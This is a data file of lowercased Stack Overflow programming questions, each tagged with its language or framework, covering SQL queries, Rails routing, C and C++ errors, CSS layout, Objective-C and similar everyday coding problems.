select same columns of foreign table multiple time  i have tables as follows:    org   <pre><code>    id  name     media_budget  p_contact  s_contact   ------  -------  ------------  ---------  -----------      1  fifa          4654623          1            3      2  fifa_ap          1234          2            3      3  icc            203254          3            2 </code></pre>   users   <pre><code>    id  fname    lname   contact  email             ------  -------  ------  -------  -----------------      1  jhone    michel   124552  email@gmail.com        2  william  martin   254623  gmail@email.com        3  ann      lee      321546  lee@gmail.com     </code></pre>   i want to select user.fname for org.p_contact and org.s_contact for each row in org  following statement works fine with single record in org however  when query return multiple rows it throws an error    <pre><code> error code: 1242 subquery returns more than 1 row  </code></pre>   my statement is:   <pre><code>select o.name  o.media_budget  (select u.fname as primaryname    from org o left outer join users u on o.p_contact = u.id) as primarycontact  (select usr.fname as secondaryname  from org og left outer join users usr on og.s_contact = usr.id) as secondarycontact  from org o; </code></pre>   what should be changed in sub-query to achieve desire result :   <pre><code>    id  name    media_budget  primarycontact      secondarycontact   ------  ------  ------------  --------------      ----------------      3  icc           203254          ann            william      4  fifa            2656          john            ann </code></pre>,sql
limit results in php using while loop  i have a list of returned subcategories. i only have access to the template display and not to the mysql query so no  i can t limit the query.    right now all the results are returned. i would like to limit the list to 5  and then add a  more  link if there are more than 5 results.    i know i did this wrong because i don t think <code>count</code> is actually tied to the <code>foreach</code>:    <pre><code>&lt;ul class= sub-categories &gt;     &lt; php     while (count($category-&gt;getchildren()) &lt;= 5) { // line i added for while loop         foreach ($category-&gt;getchildren() as $child) {             if (!$child-&gt;totalitemcount())                 continue;              $link = $this-&gt;app-&gt;route-&gt;category($child);             $item_count = ($this-&gt;params-&gt;get( template.show_sub_categories_item_count ))     &lt;span&gt;( .$child-&gt;totalitemcount(). )&lt;/span&gt;  :   ;                 echo  &lt;li&gt;&lt;a href=  .$link.   title=  .$child-&gt;name.  &gt; .$child-&gt;name. &lt;/a&gt; .$item_count. &lt;/li&gt; ;         }     } // line i added for while loop      &gt; &lt;/ul&gt; </code></pre>,php
why is my ng-repeat is only displaying first result   i have this array of an array of objects that i am pushing onto from results i pass from a modal;   <pre><code>[   [ {    id : 4     name :  throttle tube      partno :  104-      oemnumber :  46019 038      stock : 19     price :  28  }  {    id : 28     name :  tachometer  cup      partno :  128-      oemnumber :  25012 011      stock : 7     price :  46  }   ] ] </code></pre>   i am getting this from the following;   <pre><code> $scope.woparts = [];  //later in my modal code - which is where the double [] is coming from modalinstance.result.then(function(woparts) {         $scope.woparts.push(woparts); </code></pre>   i am then using this ng-repeat in my view;   <pre><code>&lt;div ng-repeat= wopart in woparts &gt;    &lt;div class= col-md-4 &gt;       @{{ wopart[$index].name }}    &lt;/div&gt;    &lt;div class= col-md-2 &gt;       @{{ wopart[$index].oemnumber }}    &lt;/div&gt;    &lt;div class= col-md-2 &gt;       @{{ wopart[$index].price | currency}}    &lt;/div&gt;    &lt;div class= col-md-2 &gt;       &lt;input type= number                class= form-control               ng-model= partqty &gt;    &lt;/div&gt;  &lt;/div&gt; </code></pre>   this only displays the first result in the array.  why is that  thanks!,angularjs
how to pass methods of js objects   when passing an object method as a function argument  i have to use `bind  to make sure the context (this) of the method is set correctly. then there are lots of bind s in my code... is this the clean way for writing js code  what is the recommended design pattern for passing methods  maybe i should pass the entire object  or redesign my object     thank you.    for your reference  i pasted my code here. this is definitely not a good code. for example  probably  i may want to use multi-sql-statements rather than calling them one by one.   <pre><code>function insertdb(response  postdata) {   var mysql      = require( mysql );   var async      = require( async );   var connection = mysql.createconnection({     host     :  localhost       user     :  user       password :  pswd       database :  mydb     });    async.series([     connection.connect.bind(connection)      async.apply(connection.query.bind(connection)           create table if not exists concepts ( +          name varchar(64) not null  +          priority int not null default 0  +          date date not null  +          notes varchar(256)  +          primary key (name)) )      async.apply(connection.query.bind(connection)           insert into concepts values(   +         postdata[ word ] +    0 curdate()   ) )      connection.end.bind(connection)   ]     function(err  result) {     if (err) console.error(err);   }); } </code></pre>,javascript
how to join multiple tables and find pairs  we are currently studying for a lecture about databases and we are not sure if our solution is the right way to solve this kind of problem.    the following scheme is given: <a href= https://i.stack.imgur.com/mepf2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mepf2.png  alt= enter image description here ></a>    translation of the relevant relations:   <ul> <li>lecture(<strong>lectureid</strong>[pk]  lecturetitle  <em>profinitials</em>)</li> <li>vg(<strong><em>lectureid</em></strong>[pk  fk1]  <strong><em>subjecttitle</em></strong>[pk  fk2]</li> <li>subject(<strong><em>titel</em></strong>[pk]  description)</li> </ul>   the task is to find pairs of lectures ( vorlesung ) that have a subject ( gebiet ) in common. the resulting table should contain the names of both lectures ( vtitel ) and the titel of the shared subject ( titel ).    the soulution we came up with is   <pre><code>select  t1 . vtitel    t2 . vtitel    t1 . titel  from (select v1. vtitel    titel  from  vorlesung  v1 natural join  vg  g) as  t1  join (select v1. vtitel    titel  from  vorlesung  v1 natural join  vg  g) as  t2  on  t1 . titel  =  t2 . titel  and  t1 . vtitel  &lt;&gt;  t2 . vtitel ; </code></pre>   is this the right way to solve this or is there a much easier way to do this,sql
how to distribute an ios app remotely  i am currently in the process of trying to distribute an app to a customer remotely and i would like only the customer to be able to download the app.    i am trying to add this to the app store with a sale price of $999 and setting up a promo code  which i will only give to my customer  to be able to get the app for free.    they have reviewed the app and are asking questions about the app.   <ol> <li>who is the target audience of this app </li> <li>is this app intended for a specific group  company  or for a specific group of companies  if yes  which group/company/companies </li> </ol>   they have also asked the below:     please reply to this message in resolution center to confirm that the price of your [app name]  £999.99  is the intended price. if you have additional information about your app  please include it in your response as well.     question: how best can i respond to these questions to get the app approved on the app store,ios
finding all similar pairs in a database  i have a table like this.   <pre><code>a    b _    _  1   100 1   101  2   105 2   105 2   104 3   106 </code></pre>   i need to output all a values which have the b value occurring the same number of times. thus  expected output:   <pre><code>a _  1 3 </code></pre>   this is because <code>1 - 100</code> and <code>1 - 101</code> appears once each. <code>2</code> is infidel because <code>2 - 105</code> appears twice but <code>2 - 104</code> only once. <code>3</code> is okay  because it has just one item i.e <code>106</code>.    my solution so far:   <pre><code>select * from table t1 join table t2 on t2.a = t1.a where t1.b = t2.b; </code></pre>,mysql
publication status  rails  i want to change the status of hotels in my site. when user create new hotel  he have status  pending . as an administrator  i can upgrade the hotel status from pending to approved or rejected. but i can not approved of in the rejected and vice versa. i decided to do it with three buttons in admin panel in the place where showing all hotels but this code not working.    <strong>routes.rb</strong>   <pre><code>hoteladvisor::application.routes.draw do   devise_for :admins   devise_for :users   devise_scope :admin do     get  /admin   to:  devise/sessions#new    end   post  /rate  =&gt;  rater#create   :as =&gt;  rate    root to:  hotels#list     resources :hotels do     resources :comments     get  list   on: :collection     post  comment    end    resources :ratings  only: :update    namespace :admin do     resources :hotels  :users   end </code></pre>   <img src= https://i.stack.imgur.com/r2wpi.png  alt= folder hierarchy >    <strong>base_controller</strong>   <pre><code>class admin::basecontroller &lt; applicationcontroller   before_filter :authenticate_admin!    layout  admin  end </code></pre>   <strong>hootels_controller(in admin folder)</strong>   <pre><code>class admin::hotelscontroller &lt; admin::basecontroller    def index     @hotels = hotel.all   end    def new     @hotel = hotel.new   end    def create     @hotel = hotel.new(hotel_params)     @hotel.user_id = current_admin.id     if @hotel.save       render :index     else       render :new     end   end    def update     @hotel = hotel.find(params[:id])     @hotel.update_attributes(params[:hotel])   end  end </code></pre>   <img src= https://i.stack.imgur.com/egabz.png  alt= views hierarchy >    <strong>index(in /admin/hotels)</strong>   <pre><code>- @hotels.each do |hotel|   .ui.segment     .ui.three.column.grid       .column         .ui.large.image           =image_tag hotel.avatar_url           =link_to hotel_path(hotel)  class: blue ui corner label  do             %i.fullscreen.icon       .column         .ui.message           .header             =hotel.title           .wraper=hotel.description.truncate(300)       .column         =simple_form_for hotel.find([hotel.id]) :method =&gt; :put do |f|           =f.hidden_field :status  value:  approved            =f.button :submit   approved   class:  secondary button    %br   %hr </code></pre>   i don t know why  but i see this error     <blockquote>    missing template hotels/update  application/update with...  </blockquote>   i think out that in updating rails do not use the controller in the folder admin. perhaps this is causing the error,ruby-on-rails
can the statements char str[]= abcdef ; and char *str= abcdef ; be used to explain the char array and string literal in c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1704407/what-is-the-difference-between-char-s-and-char-s-in-c >what is the difference between char s[] and char *s in c </a>    </blockquote>     can the statements    <pre><code>char str[]= abcdef ;  </code></pre>   and    <pre><code>char *str= abcdef ;  </code></pre>   be used to explain the char array and string literal in c  what is relationship between char array and string literal  what is actually usage of char array except storing a string literal,c
concatenate columns and rows  given a table  e.g.:    table <code>person</code>:   <pre><code>id  name  last_name  age  1  joshua   smith   33 2  melissa  fox     65 3  james    bond    31 ... </code></pre>   i have to read each row from the table  get  the current row  concat its column name and value and then  finally  put them into another table as new rows. e.g:    column <code>concat_row</code> (varchar) in new table:    <pre><code> name: joshua  last_name: smith  age: 33   name: melissa  last_name: fox  age: 65   name: james  last_name: bond  age: 31  ... </code></pre>   the point is  i need to use a generic query where i shouldn t know how many columns there are or what are their names  because this query will be used with hundreds of tables... so  it could be interesting modifying only the table name for each case.,sql
is this if statement correct  or is it redundant   i ve a simple question about if statement in objective - c.    is this if statement correct  or is it redundant and i don t need to specify ==yes     <pre><code>nsnumber *boolean = [nsnumber numberwithbool:yes]; if (boolean == yes) ... </code></pre>   thanks,objective-c
rails collection_select with formatted output  i have a select box that i want to populate with all  users  in the system. however i wish the  name  for the current user to display as  myself .    i have this so far.   <pre><code>f.collection_select(:author  user.all  :id  :name) </code></pre>   which gives me:   <pre><code>&lt;select id= product_author  name= product[author] &gt;     &lt;option value= 1 &gt;adam&lt;/option&gt;     &lt;option value= 2 &gt;david&lt;/option&gt;     &lt;option value= 3 &gt;gary&lt;/option&gt;     &lt;option value= 4 &gt;tom&lt;/option&gt; &lt;/select&gt; </code></pre>   what i hope to achieve where  in this example  the current user is gary (3):   <pre><code>&lt;select id= product_author  name= product[author] &gt;     &lt;option value= 1 &gt;adam&lt;/option&gt;     &lt;option value= 2 &gt;david&lt;/option&gt;     &lt;option value= 3 &gt;myself&lt;/option&gt;     &lt;option value= 4 &gt;tom&lt;/option&gt; &lt;/select&gt; </code></pre>   i ve attempted trying to apply a map to the user.all statement like so:   <pre><code>user.all.map {|a| [((a.name==current_user.name)   myself  : a.name) a.id]} </code></pre>   but end up getting the following error:   <pre><code>undefined method `name  for [ adam   1]:array </code></pre>,ruby-on-rails
iterating through struct members  lets say we have a struct   <pre><code>struct mystruct {    int var1;    int var2;    string var3;    .    . } </code></pre>   is it possible to to iterate through the structure s members by maybe using foreach  i have read some things on reflection  but i am not sure how to apply that here.   <blockquote>    there are about 20 variables in the struct. i am trying to read values   off a file and trying to assign them to the variables but don t want   to call file.readline() 20 times. i am trying to access the member   variables through a loop  </blockquote>,c#
segmentation fault on line with fgets() - c  i have this code in my program:   <pre><code>char* tok = null; char move[100];  if (fgets(move  100  stdin) != null)  {     /* then split into tokens using strtok */     tok = strtok(move     );       while (tok != null)     {         printf( element: %s\n   tok);         tok = strtok(null     );     } } </code></pre>   i have tried adding printf statements before and after fgets  and the one before gets printed  but the one after does not.  i cannot see why this fgets call is causing a segmentation failure.    if someone has any idea  i would much appreciate it.    thanks corey,c
how can you shorten repetitive if/else statements   how can you simplify this code  it gets very lengthy and is extremely repetitive  with so many null checks.    <pre><code>    id data;      data = [dictionary objectforkey:@ firstname ];     if ([data isequal:[nsnull null]]) {         self.firstname = @  ;     }     else{         self.firstname = (nsstring *)data;     }      data = [dictionary objectforkey:@ middlename ];     if ([data isequal:[nsnull null]]) {         self.middlename = @  ;     }     else{         self.middlename = (nsstring *)data;     }      data = [dictionary objectforkey:@ lastname ];     if ([data isequal:[nsnull null]]) {         self.lastname = @  ;     }     else{         self.lastname = (nsstring *)data;     }      ... </code></pre>   ideally i would want to put all the variables in an array of sorts  and just loop through and apply the null check and assignment to all of them. but you can t exactly store variables in an array. what is the best way to shorten this code,objective-c
getting rid of || or s in c programming  i m using <code>||</code> so that if the user types in a <code>y</code> or <code>y</code> it equals the same. example: <code>(option== y  || option == y )</code> i know there s a single function to get rid of this so that the user types in <code>y</code> or <code>y</code> it equals the same.    what would be the best way to do this,c
how to sum the value and retrieve the result using if condition- using mysql   i want to sum every time and check with if condition. if condition matches i want the get the created date of the final matched row.   <pre><code>+------------+----------------------------------+------------+--------+ |       id   | email                            | created    | amt    | +------------+----------------------------------+------------+--------+ |         61 | abc@gmail.com                    | 1514909390 |  57.00 | |         25 | xyz@gmail.com                    | 1515534837 | 360.00 | |         36 | zccc@abv.com                     | 1515645391 | 240.00 | |         22 | vv@aa.com                        | 1516419622 | 320.40 | |         48 | aa@xyz.com                       | 1516706121 | 240.00 | +------------+----------------------------------+------------+--------+ </code></pre>   i try this query but i m not getting the solution...    <pre><code>select     sum(a.amount) as amt      if(sum(a.amount)&gt;8000 slp.sal_time 0) as amt_exceed_date from employee a join emp_user u     on a.cmp_id=u.user_id left join emp_sal as slp     on slp.user_id=a.cmp_id where order by slp.sal_time; </code></pre>,mysql
fetching specific data from the table based on logged in user  i m new to codeigniter i have department student  and user table in my database. in student table dep_id references departments where the student belongs and in user table dep_id  stud_id are used as foreign key here is my table structure:   <pre><code>create table `tbl_users` (   `userid` int(11) not null    `email` varchar(128) not null    `password` varchar(128) not null    `username` varchar(128) default null    `mobile` varchar(20) default null    `roleid` tinyint(4)default null    `dep_id` tinyint(4)default null    `id_no` tinyint(4) default null    `avatar` varchar(255) default  default.jpg     `isdeleted` tinyint(4) not null default  0     `createdby` int(11) not null    `createddtm` datetime not null    `updatedby` int(11) default null    `updateddtm` datetime default null ) engine=myisam default charset=utf8;*  create table `student` (   `id` int(11) not null    `full_name` varchar(50) not null    `gender` varchar(50) not null    `id_no` varchar(50) not null    `dep_id` varchar(50) not null ) engine=innodb default charset=latin1;*   create table `department` (   `dep_id` int(11) not null    `depname` varchar(50) not null    `head` varchar(50) not null ) engine=innodb default charset=latin1;* </code></pre>   each department has an account so that they can logged in and  perform their task. what i want is loading  those students who belong to logged in department. for example when computer science department is logged in those students who belongs to computer science department will load for that department user.here is the code that i have tried.   <hr>  <pre><code>in my model:     function populate_data()             {                 $this-&gt;db-&gt;select( basetbl.dep_id   students.id students.full_name students.id_no students.dep_id students.gender );                 $this-&gt;db-&gt;from( department as basetbl );                 $this-&gt;db-&gt;join( student as students    students.dep_id = basetbl.dep_id );                 $query = $this-&gt;db-&gt;get();                 $result = $query-&gt;result();                 return $result;             }  *** </code></pre>   in my controller   <pre><code>function populate_data()     {         if($this-&gt;isdepartment() == true)         {             $this-&gt;loadthis();         }         else         {             $searchtext = $this-&gt;security-&gt;xss_clean($this-&gt;input-&gt;post( searchtext ));             $data[ searchtext ] = $searchtext;              $this-&gt;load-&gt;library( pagination );              $count = $this-&gt;department_model-&gt;userlistingcount($searchtext);                $returns = $this-&gt;paginationcompress (  userlisting/   $count  10 );              $data[ userrecords ] = $this-&gt;department_model-&gt;populate_data($searchtext  $returns[ page ]  $returns[ segment ]);              $this-&gt;global[ pagetitle ] =  hu : user listing ;              $this-&gt;loadviews( department/students   $this-&gt;global  $data  null);         }     } </code></pre>   in my view   <pre><code>&lt;div class= page-content-wrapper &gt;     &lt;!-- begin content body --&gt;     &lt;div class= page-content &gt;         &lt;div class= page-bar &gt;             &lt;ul class= page-breadcrumb &gt;                 &lt;li&gt;                     &lt;a href= index.html &gt;dashboard&lt;/a&gt;                     &lt;i class= fa fa-circle &gt;&lt;/i&gt;                 &lt;/li&gt;                 &lt;li&gt;                     &lt;a href= # &gt;my students lists&lt;/a&gt;                     &lt;i class= fa fa-circle &gt;&lt;/i&gt;                 &lt;/li&gt;             &lt;/ul&gt;          &lt;/div&gt;           &lt;div class= row &gt;             &lt;div class= col-md-12 &gt;                 &lt;!-- begin example table portlet--&gt;                 &lt;div class= portlet light bordered &gt;                     &lt;div class= portlet-title &gt;                          &lt;div class= tools &gt; &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= portlet-body &gt;                         &lt;table class= table table-striped table-bordered table-hover  id= sample_1 &gt;                             &lt;thead&gt;                             &lt;tr&gt;                                 &lt;th&gt;id &lt;/th&gt;                                 &lt;th&gt;full name &lt;/th&gt;                                 &lt;th&gt;gender &lt;/th&gt;                                 &lt;th&gt;id&lt;/th&gt;                                 &lt;th class= text-center &gt;actions&lt;/th&gt;                             &lt;/tr&gt;                             &lt;/thead&gt;                             &lt; php                             if(!empty($userrecords))                             {                                 foreach($userrecords as $record)                                 {                                      &gt;                                     &lt;tr&gt;                                         &lt;td&gt;&lt; php echo $record-&gt;id  &gt;&lt;/td&gt;                                         &lt;td&gt;&lt; php echo $record-&gt;full_name  &gt;&lt;/td&gt;                                         &lt;td&gt;&lt; php echo $record-&gt;gender  &gt;&lt;/td&gt;                                         &lt;td&gt;&lt; php echo $record-&gt;id_no  &gt;&lt;/td&gt;                                           &lt;td class= text-center &gt;                                             &lt;a class= btn btn-sm btn-primary  href= &lt; = base_url(). login-history/ .$record-&gt;id;  &gt;  title= login history &gt;&lt;i class= fa fa-history &gt;&lt;/i&gt;&lt;/a&gt; |                                             &lt;a class= btn btn-sm btn-info  href= &lt; php echo base_url(). editold/ .$record-&gt;id;  &gt;  title= edit &gt;&lt;i class= fa fa-pencil &gt;&lt;/i&gt;&lt;/a&gt;                                             &lt;a class= btn btn-sm btn-danger deleteuser  href= #  data-userid= &lt; php echo $record-&gt;id;  &gt;  title= delete &gt;&lt;i class= fa fa-trash &gt;&lt;/i&gt;&lt;/a&gt;                                         &lt;/td&gt;                                      &lt;/tr&gt;                                     &lt; php                                 }                             }                              &gt;                         &lt;/table&gt;                     &lt;/div&gt;                 &lt;/div&gt; </code></pre>   the problem is i get all departments students. thank you for your help,php
centering the form inside div  how can i get the form centered  aligned with the submit button underneath it inside div   <a href= http://www.magnixsolutions.com/dev/test/test.html  rel= nofollow >http://www.magnixsolutions.com/dev/test/test.html</a>   <pre><code>.containerform {     padding-top: 20px;     text-align: center;     width: 250px;     float: right;     padding-right: 65px;     } .containersecuimgs {     text-align: center;     width: 250px;    } </code></pre>   also the two images underneath will not let me move up little bit after putting padding-bottom: 20px; what did i do wrong,css
undefined reference to   i am writing a code for a dice roll cootie game in c++ but i keep running into the error code  undefined reference to  cootiecomplete(int)   &amp; i am not sure how to fix it.  the assignment is to create a cootie game where you roll the dice and then apply it to add different body parts to the cootie.    here is my code.   <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; #include &lt;time.h&gt;  using namespace std; int rolldice(); int applyroll(int); bool cootiecomplete(int); void printcootie(int);          int numbody=0;         int numhead=0;         int numantenna=0;         int numwings=0;         int numtongue=0;         int numleg=0;  int main(int argc  char *argv[]) {    int diceroll;    int apply;    srand(time(0));    do {    diceroll = rolldice();    apply = applyroll(diceroll);    printcootie(diceroll);    }    while (!cootiecomplete(apply)) ;       system( pause );     return exit_success; }       int rolldice()  {      int diceroll = rand() % 6 + 1;      return diceroll; }      int applyroll(int diceroll){                     if (diceroll == 1)                    {                     numbody++;                    }                     if (diceroll == 2 &amp;&amp; numbody &gt;= 1)                    {                     numhead++;                    }                     if (diceroll == 3 &amp;&amp; numhead &gt;=1)                    {                     numantenna++;                    }                     if (diceroll == 4 &amp;&amp; numbody &gt;= 1)                    {                     numwings++;                    }                     if (diceroll == 5 &amp;&amp; numhead &gt;= 1)                    {                     numtongue++;                    }                     if (diceroll == 6 &amp;&amp; numbody &gt;= 1)                    {                     numleg++;                    }             return diceroll;             }       bool cootiecomplete(int numbody int numhead int numantenna int numwings int numtongue int numleg) {          if (numbody&gt;0&amp;&amp;numhead&gt;0&amp;&amp;numantenna&gt;1&amp;&amp;numwings&gt;1&amp;&amp;numtongue!=0&amp;&amp;numleg&gt;=4) {              return true;           }          else {                return false;           }     }      void printcootie(int diceroll){                     if (diceroll == 1)                    {                     cout &lt;&lt;  body added!  &lt;&lt; endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                     if (diceroll == 2 &amp;&amp; numbody &gt;= 1)                    {                     cout &lt;&lt;  head added!  &lt;&lt; endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                    else if (diceroll == 2)                    {                     cout &lt;&lt; no body  you can t add head! ;                    }                     if (diceroll == 3 &amp;&amp; numhead &gt;=1)                    {                     cout &lt;&lt;  antenna added! &lt;&lt;endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                    else if (diceroll == 3)                    {                     cout &lt;&lt;  no head  you can t add antenna! ;                    }                     if (diceroll == 4 &amp;&amp; numbody &gt;= 1)                    {                     cout&lt;&lt; wing added!  &lt;&lt; endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                    else if (diceroll == 4)                    {                     cout &lt;&lt;  no body  you can t add wings! ;                    }                     if (diceroll == 5 &amp;&amp; numhead &gt;= 1)                    {                     cout&lt;&lt; tongue added!  &lt;&lt; endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                    else if (diceroll == 5)                    {                     cout &lt;&lt;  no head  you can t add tongue! ;                    }                     if (diceroll == 6 &amp;&amp; numbody &gt;= 1)                    {                     cout&lt;&lt; leg added!  &lt;&lt; endl;                     cout &lt;&lt;  there are   &lt;&lt; numbody &lt;&lt;   body    &lt;&lt; numhead &lt;&lt;   head    &lt;&lt; numantenna &lt;&lt;   antenna    &lt;&lt; numwings &lt;&lt;   wings    &lt;&lt; numtongue &lt;&lt;   tongues    &lt;&lt; numleg &lt;&lt;   legs.  &lt;&lt; endl;                    }                    else if (diceroll == 6)                    {                     cout &lt;&lt;  no body  you can t add legs ;                    }       } </code></pre>,c++
stepping into .net 4.0 framework source  i have .net framework v4.0.30319 sp1rel and visual studio 2010 v 10.0.40219.1 sp1rel (data taken from about dialog in vs).    .net 4.0 is available here <a href= http://referencesource.microsoft.com/netframework.aspx  rel= nofollow noreferrer >http://referencesource.microsoft.com/netframework.aspx</a> but not sure which specific version that is  and whether it is compatible with my setup. i did download the source a month or two back but i couldn t step into the framework source (no source available message). i read around at the time and it seemed to be due to updates for vs (and presumably the installed framework binaries) superseding the source version.    before i try downloading again  could someone please confirm whether the source is now in line with and compatible with the latest versions. if not  is there an alternative (perhaps 3rd party) tool that allows stepping into the source     edit: ok  just saw this <a href= http://social.msdn.microsoft.com/forums/en-us/refsourceserver/thread/41388c7b-582b-4e3f-8178-3d38a3c99639  rel= nofollow noreferrer >http://social.msdn.microsoft.com/forums/en-us/refsourceserver/thread/41388c7b-582b-4e3f-8178-3d38a3c99639</a> and this does indicate you cannot use the current source code,.net
how to run method before others   i need to run one private method before some others public methods  so i used <code>__call</code> method which seems to override default method calling so it looks like this   <pre><code>function __call($method  $arguments) {     // echo($method);      if (in_array($method  array( changestatus    lockstatus )))          $this-&gt;_checkinputdata($arguments);      call_user_func($method  $arguments); } </code></pre>   but i m suddenly noticed that <code>__call</code> method works only on non-defined methods  so is there any way to call custom method before specified,php
grouping your css classes to streamline your stylesheet  here is my problem i am making a nav bar with drop downs. i already have a class for all li in a list. here is the css for that.   <pre><code>#menu li:hover {     border: 1px solid #777777;     padding: 4px 5px 4px 5px; }  #menu li a {     font-family:arial  helvetica  sans-serif;     font-size:12px;      color: #eeeeee; }  #menu li:hover a {     color:#161616; } </code></pre>   here is how this implemented.   <pre><code>&lt;ul id= menu &gt;     &lt;li&gt;&lt;a href= # &gt;button 1&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;button 2&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;button 2&lt;/a&gt;&lt;/li&gt; </code></pre>   i want to create a class called nodropdown using the css above. this is how i formated it but i don t think i did it correctly.   <pre><code>#menu li.nodropdown :hover {     border: 1px solid #777777;     padding: 4px 5px 4px 5px; }  #menu li.nodropdown a {     font-family:arial  helvetica  sans-serif;     font-size:12px;      color: #eeeeee; }  #menu li.nodropdown :hover a {     color:#161616; } </code></pre>   and i want to be able to call nodropdown class and override button 2 like this:   <pre><code>&lt;ul id= menu &gt;     &lt;li&gt;&lt;a href= # &gt;button 1&lt;/a&gt;&lt;/li&gt;     &lt;li class= nodropdown &gt;&lt;a href= # &gt;button 2&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= # &gt;button 2&lt;/a&gt;&lt;/li&gt; </code></pre>   but i don t think the way i formatted the class for nodropdown is correct right above is correct  could you help me corrected please,css
c# streamreader writer (memory issues)  i have a few multimillion lined text files located in a directory  i want to read line by line and replace “|” with “\”  and then write out the line to a new file.  this code might work just fine but i’m not seeing any resulting text file  or it might be i’m just be impatient.   <pre><code>{         string startingdir = @ k:\qload ;         string dest = @ k:\d\ho\jlg\load\dest ;         string[] files = directory.getfiles(startingdir   *.txt );          foreach (string file in files)         {             stringbuilder sb = new stringbuilder();             using (filestream fs = new filestream(file  filemode.open))             using (streamreader rdr = new streamreader(fs))             {                 while (!rdr.endofstream)                 {                     string begdocfile = rdr.readline();                     string replacementwork = docfile.replace( |    \\ );                     sb.appendline(replacementwork);                     fileinfo file_info = new fileinfo(file);                     string outputfilename = file_info.name;                     using (filestream fs2 = new filestream(dest + outputfilename  filemode.append))                     using (streamwriter writer = new streamwriter(fs2))                     {                         writer.writeline(replacementwork);                     }                 }             }         }     } </code></pre>   duhhhhh thanks to everyone.    id10t error.,c#
model inside a subfolder within models folder  i m using ruby on rails 2.3.8 and i d like to know how to organize models in subfolders so ruby can recognize them.,ruby-on-rails
is displaying the animation for photo roll gifs possible   i want to create an ios app that takes a gif from the photo roll and displays its animation. is there some kind of technical limitation preventing this  i found <a href= http://iosnotestoremember.blogspot.com.au/2013/01/showing-animated-gif-in-ios.html  rel= nofollow >this</a>  which suggests it s not a perfectly straightforward thing but possible with a bit of hacking...    background: i want the app s functionality for myself; i haven t found anything on the store that does so.  it doesn t <em>seem</em> like it would be a difficult app. but the fact that it doesn t exist makes me nervous that it isn t actually doable.,ios
all years and months between 2 dates sql  i have a little question i have a table called project that looks like this:   <pre><code>---------------------------------------  projectid  | startdate   | enddate   | ---------------------------------------      1      | 01/01/2015  | 31/12/2017| </code></pre>   is it posible to get all months and years between those dates like this:   <pre><code>-------------------- | month   |   year  | --------------------     1     |   2015  |     2     |   2015  |     3     |   2015  |     4     |   2015  |     5     |   2015  |     6     |   2015  |     7     |   2015  |     8     |   2015  |     9     |   2015  |     10    |   2015  |     11    |   2015  |     12    |   2015  |     1     |   2016  |     2     |   2016  |     3     |   2016  |     4     |   2016  |     .     |     .   |     .     |     .   |     .     |     .   |     12    |   2017  | </code></pre>,sql
how this c program is evaluating <pre><code>#include &lt;stdio.h&gt; #define dprintf(expr) printf(#expr  =%d\n  expr)  int main() {     int x=7;     int y=3;     dprintf(x/y);     return 0; } </code></pre>   i am getting output as x/y=2  i am confused how  x/y  is getting printed,c
can you return from a method early in an objective-c   i m doing some networking stuff in one of my methods and i would like the method to <code>return no</code> and stop executing early if one of the internal calls returns an error  a bit like break for loops. is this possible     imo it would produce cleaner code rather than using a bool flag and having  should i continue executing this code   if statements all over the place; and then finally at the end of the method returning yes or no based on the flag.    any thoughts are much appreciated!,objective-c
defined a custom action in controllers and added routes but still get no route matches error. rails 5 app  i have a links controller and i have defined two custom actions called upvote and downvote. the action definitions:-   <pre><code>  def upvote     @link = link.find_by(id: params[:id])     @link.vote_count += 1     flash[:message]= vote successfully registered      redirect_to root_path   end    def downvote     @link = link.find_by(id: params[:id])     @link.vote_count -= 1     flash[:message]= vote successfully registered      redirect_to root_path   end </code></pre>   i have added the routes for these actions in the routes.rb file:-   <pre><code>  post  /links/:id   to:  links#upvote   as:  upvote    post  /links/:id   to:  links#downvote   as:  downvote  </code></pre>   rails routes shows:-   <pre><code>upvote post   /links/:id(.:format)     links#upvote downvote post   /links/:id(.:format)     links#downvote </code></pre>   i m calling the actions from the view as below:-   <pre><code>&lt;% if link.user != current_user %&gt;   &lt;span class= vote-buttons &gt;     &lt;div class= btn-group-vertical  role= group  aria-label= vote-buttons &gt;       &lt;%= button_to  up    upvote_path   type: button   class: btn btn-xs btn-success  %&gt;       &lt;%= button_to  down    downvote_path   type: button   class: btn btn-xs btn-danger  %&gt;     &lt;/div&gt;   &lt;/span&gt; &lt;% end %&gt; </code></pre>   but i keep getting this error:-   <pre><code>no route matches [post]  /upvote_path  </code></pre>   why am i seeing this even though rails routes shows 